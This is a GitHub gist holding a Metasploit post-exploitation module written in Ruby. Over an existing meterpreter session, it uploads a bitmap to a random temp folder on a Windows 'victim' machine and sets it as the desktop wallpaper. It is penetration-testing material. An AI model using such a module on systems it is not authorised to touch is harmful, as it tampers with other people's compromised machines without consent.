Created
August 19, 2015 07:40
-
-
Save mubix/5390166092775e9c2c85 to your computer and use it in GitHub Desktop.
Set Wallpaper Metasploit Post Module from Metasploit Minute
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Post | |
include Msf::Post::File | |
include Msf::Post::Windows::Registry | |
def initialize(info={}) | |
super( update_info( info, | |
'Name' => 'Wallpaper Set', | |
'Description' => %q{ | |
This module sets a users wallpaper and then activates it | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ 'mubix'], | |
'Platform' => [ 'win' ], | |
'SessionTypes' => [ 'meterpreter' ] | |
)) | |
register_options( | |
[ | |
OptPath.new('BMP', [ true, 'Path to the file to upload and set' ]), | |
OptString.new('WALLNAME', [false, 'Name of wallpaper on victim']) | |
], self.class) | |
end | |
def run | |
refresh_cmd = "rundll32.exe user32.dll,UpdatePerUserSystemParameters" | |
tempdir = expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) | |
vprint_status("Creating a temp dir for wallpaper #{tempdir}...") | |
session.fs.dir.mkdir(tempdir) | |
vprint_status(" >> Uploading wallpaper...") | |
path = datastore['WALLNAME'] ? datastore['WALLNAME'] : "kerby.bmp" | |
write_file(tempdir + "\\" +path,::File.read(datastore['BMP'])) | |
session.railgun.user32.SystemParametersInfoA(20, 0, tempdir + "\\"+ path, 0x03) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment